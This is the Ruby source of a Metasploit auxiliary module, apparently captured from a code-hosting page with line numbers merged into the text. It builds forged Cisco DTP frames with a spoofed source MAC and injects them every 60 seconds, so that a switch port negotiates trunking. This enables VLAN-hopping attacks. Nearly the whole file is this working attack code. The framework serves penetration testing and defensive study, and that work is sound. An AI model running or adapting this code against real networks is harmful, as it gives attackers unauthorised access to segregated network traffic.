Path: blob/master/modules/auxiliary/spoof/cisco/dtp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Capture78def initialize(_info = {})9super(10'Name' => 'Forge Cisco DTP Packets',11'Description' => %q{12This module forges DTP packets to initialize a trunk port.13},14'Author' => [ 'Spencer McIntyre' ],15'License' => MSF_LICENSE,16'Actions' => [17[ 'Service', { 'Description' => 'Run DTP forging service' } ]18],19'PassiveActions' => [ 'Service' ],20'DefaultAction' => 'Service',21'Notes' => {22'Stability' => [OS_RESOURCE_LOSS],23'SideEffects' => [IOC_IN_LOGS],24'Reliability' => []25}26)27register_options(28[29OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),30]31)32deregister_options('RHOST', 'PCAPFILE')33end3435def setup36super37unless datastore['SMAC'] || datastore['INTERFACE']38raise ArgumentError, 'Must specify SMAC or INTERFACE'39end40end4142def build_dtp_frame43p = PacketFu::EthPacket.new44p.eth_daddr = '01:00:0c:cc:cc:cc'45p.eth_saddr = smac46llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04"47dtp_hdr = "\x01" # version48dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain49dtp_hdr << "\x00\x02\x00\x05\x03" # status50dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type51dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor52p.eth_proto = llc_hdr.length + dtp_hdr.length53p.payload = llc_hdr << dtp_hdr54p55end5657def is_mac?(mac)58!!(mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/)59end6061def smac62@spoof_mac ||= datastore['SMAC']63@spoof_mac ||= get_mac(datastore['INTERFACE']) if netifaces_implemented?64return @spoof_mac65end6667def run68unless smac69print_error('Source MAC (SMAC) should be defined')70return71end7273unless is_mac?(smac)74print_error("Source MAC (SMAC) `#{smac}' is badly formatted.")75return76end7778print_status 'Starting DTP spoofing service...'79open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' })80datastore['INTERFACE'] || Pcap.lookupdev81dtp = build_dtp_frame82@run = true8384while @run85capture.inject(dtp.to_s)86select(nil, nil, nil, 60)87end8889close_pcap90end91end929394